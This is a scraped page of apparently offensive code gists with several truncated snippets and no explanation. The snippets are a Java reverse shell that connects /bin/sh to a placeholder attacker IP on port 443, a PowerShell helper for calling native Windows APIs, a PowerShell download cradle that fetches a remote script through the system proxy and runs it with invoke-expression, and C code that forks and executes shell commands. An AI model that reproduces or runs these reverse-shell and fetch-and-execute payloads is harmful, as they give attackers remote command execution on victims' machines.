This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; | |
public class C { | |
public C() throws Exception { | |
String host="ATTACKER IP HERE"; int port=443; String cmd="/bin/sh"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); | |
Socket s=new Socket(host,port); | |
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); | |
OutputStream po=p.getOutputStream(),so=s.getOutputStream(); | |
while(!s.isClosed()) { | |
while(pi.available()>0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://exploitmonday.blogspot.com/2012/05/accessing-native-windows-api-in.html | |
function getDelegateType { | |
Param ( | |
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, | |
[Parameter(Position = 1)] [Type] $functionDelegateTypeType = [Void] | |
) | |
$type = [AppDomain]::CurrentDomain. | |
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), | |
[System.Reflection.Emit.AssemblyBuilderAccess]::Run). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$url="https://gist.githubusercontent.com/dasgoll/7ca1c059dd3b3fbc7277/raw/e4e3a530589dac67ab6c4c2428ea90de93b86018/gistfile1.txt"; $p=[System.Net.WebRequest]::GetSystemWebProxy();$p.Credentials=[System.Net.CredentialCache]::DefaultCredentials; $c=new-object system.net.WebClient;$c.proxy=$p;$x=$c.downloadstring($url);invoke-expression $x; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define SHELL_PATH "/bin/sh" /* Path of the shell. */ | |
#define SHELL_NAME "sh" /* Name to give it. */ | |
static int do_system(const char *line) | |
{ | |
if (fork() == 0) { | |
const char *new_argv[4]; | |
new_argv[0] = SHELL_NAME; | |
new_argv[1] = "-c"; | |
new_argv[2] = line; |